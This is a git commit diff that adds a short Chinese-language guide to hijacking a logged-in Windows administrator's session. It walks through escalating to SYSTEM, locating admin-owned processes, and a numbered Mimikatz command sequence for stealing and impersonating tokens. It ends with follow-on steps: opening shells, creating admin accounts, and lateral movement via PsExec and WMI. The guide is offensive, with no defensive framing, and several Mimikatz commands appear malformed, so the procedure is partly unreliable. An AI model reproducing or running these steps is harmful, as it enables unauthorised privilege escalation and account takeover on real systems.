Add files via upload
This commit is contained in:
@@ -0,0 +1,41 @@
|
||||
### 桌面有管理员会话,怎么做会话劫持
|
||||
|
||||
**步骤一:获取 SYSTEM 权限**
|
||||
|
||||
要窃取管理员的令牌,你首先需要获得比该管理员会话更高的权限,通常是 **SYSTEM 权限**
|
||||
|
||||
- **方法一:** 如果你当前是以管理员权限运行的,可以尝试直接使用 Mimikatz 的 `token::elevate` 命令,它会尝试提升到 SYSTEM 权限
|
||||
- **方法二:** 如果当前权限较低,可以通过提权漏洞(如服务权限配置错误、内核漏洞等)来提升到 SYSTEM 权限
|
||||
|
||||
**步骤二:识别目标进程**
|
||||
|
||||
你需要找到一个由管理员账户启动的进程,该进程的令牌是你想要窃取的。通常,你可以通过 `tasklist /v` 命令来查看所有进程及其所属的用户
|
||||
|
||||
- **常用目标进程:**
|
||||
- `explorer.exe`:这是桌面进程,通常由当前登录的用户启动
|
||||
- `winlogon.exe`:这是一个关键的系统进程,与用户会话和登录相关
|
||||
- 其他由管理员账户启动的应用程序
|
||||
|
||||
**步骤三:窃取并冒用令牌**
|
||||
|
||||
一旦你有了 SYSTEM 权限,就可以使用 Mimikatz 来窃取令牌
|
||||
|
||||
- **命令:**
|
||||
1. `mimikatz.exe`
|
||||
2. `privilege::debug`
|
||||
3. `token::elevate`
|
||||
4. `whoami` (此时你应该看到你是 `NT AUTHORITY\SYSTEM`)
|
||||
5. `ts::session` (列出所有会话,找到管理员的会话 ID)
|
||||
6. `ts::s` + `<会话ID>` (切换到管理员的会话)
|
||||
7. `token::list` (列出当前会话的所有令牌,找到管理员的令牌)
|
||||
8. `token::impersonate /p:<进程ID>` (冒充管理员会话的某个进程的令牌)
|
||||
9. `whoami` (此时你应该看到你已经是管理员用户了)
|
||||
|
||||
**步骤四:执行命令**
|
||||
|
||||
当你成功冒充管理员身份后,你就可以执行任何管理员权限的命令,例如:
|
||||
|
||||
- `shell powershell`
|
||||
- `shell cmd.exe`
|
||||
- 创建新的管理员账户
|
||||
- 执行横向渗透命令(如 `PsExec`、`WMI`)
|
||||
Reference in New Issue
Block a user